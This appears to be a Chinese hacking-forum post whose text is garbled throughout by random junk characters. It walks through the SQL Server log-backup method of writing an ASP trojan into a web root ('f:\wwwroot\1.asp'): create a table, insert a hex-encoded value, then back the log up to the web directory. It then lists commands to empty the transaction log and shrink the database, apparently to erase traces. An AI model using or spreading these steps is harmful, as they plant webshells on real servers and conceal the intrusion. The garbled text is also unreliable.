select * from master.dbo.sysdatabases 列出所有列的记录* i+ P/ V, R4 h3 H2 N7 Q% c& U
9 e L! A4 o+ z! n1 Y/ p
select name from master.dbo.sysdatabases 仅列出name列的记录
/ S# C; z6 Y" e9 Z6 n7 t7 B7 {
# i: f$ u9 O: t; K G9 @/ P注意:可以利用log和数据库备份两上都行,log备份不成功用数据库备份
K6 k4 `" M% f" V. g9 k' _, T7 O* k' F
alter database 数据库名 set RECOVERY FULL--
! g" n4 u/ x. g( K. E0 _) s0 Z0 V' n( b, c( r6 Z) C5 O
create table cmd (a image)-- \**cmd是创建的临时表/ m; P5 ^% h$ `: R4 I
* r2 F5 }, t, o% S: r4 Dbackup log 数据库名 to disk = 'f:\wwwroot\1.asp' with init--# J4 [4 i) e- ?8 ~; o9 `
; E1 z% ?9 v6 F( E( j6 |: W s: }
insert into cmd(a) values (0x130a0d0a663A5CCDF8D5BE5CCDF8CDA8C6F3D2B5425C626C75656B6973735C7765625C312E6173700d0a)--
2 P: _# Z( [# h
3 U- H6 K Q# D X, q0 W* p( T! _/ l//木马存放路径(转换16进制0x130a0d0a替换原来0x最后添加0d0a要多加几个)
" y5 j' N, _; S) A- Z! K0 _1 z- e6 h/ q, I8 V+ N% w
backup log 数据库名 to disk = 'f:\wwwroot\1.asp'-- (要备份的目录)1 ~% A- g, S! \) {
3 Y0 f1 l; N0 C7 t* e: ~9 l. ldrop table cmd--
$ q" H5 ~+ R+ T4 [" @! h8 J
* X2 }% W, v9 j% y" F3 L- M7 E5 S, ?, k2 f* i% m( c
f:\
& j; |/ b8 {7 \/ y( q; b16进制转换(0x130a0d0a663A5CCDF8D5BE5CCDF8CDA8C6F3D2B5425C626C75656B6973735C7765625C312E6173700d0a): i o' H) a2 x2 F: }9 D9 |
1 }5 P; {. R! L+ f& N ^
最好多加几个回车0d0a,要不会出错哈
$ o/ o l* n3 W1 ?7 Z4 B, ~$ D" i
7 F; S5 v3 g# B q0 T
, B' v4 [ U- Q' I0 Z- i- C& qSQL Server日志清空方法 ; F1 R) X; p$ X% ?) p2 H
+ V8 `- [# ~$ @
在查询分析器中顺序执行以下三步,其中 databasename 为你的数据库文件名 4 V! d' ~/ `! a3 Q* x) y
1.清空日志:DUMP TRANSACTION databasename WITH NO_LOG
5 @4 f2 E4 K3 f1 S' ~
- T: D4 Q6 F5 x. Z2.截断事务日志:BACKUP LOG databasename WITH NO_LOG
6 r0 Y- M" f, K/ v, ]
" R4 @3 ^$ g8 q; \& C: w0 L$ b% J3.收缩数据库:DBCC SHRINKDATABASE(databasename)
) |* f( X- Q7 ]/ x |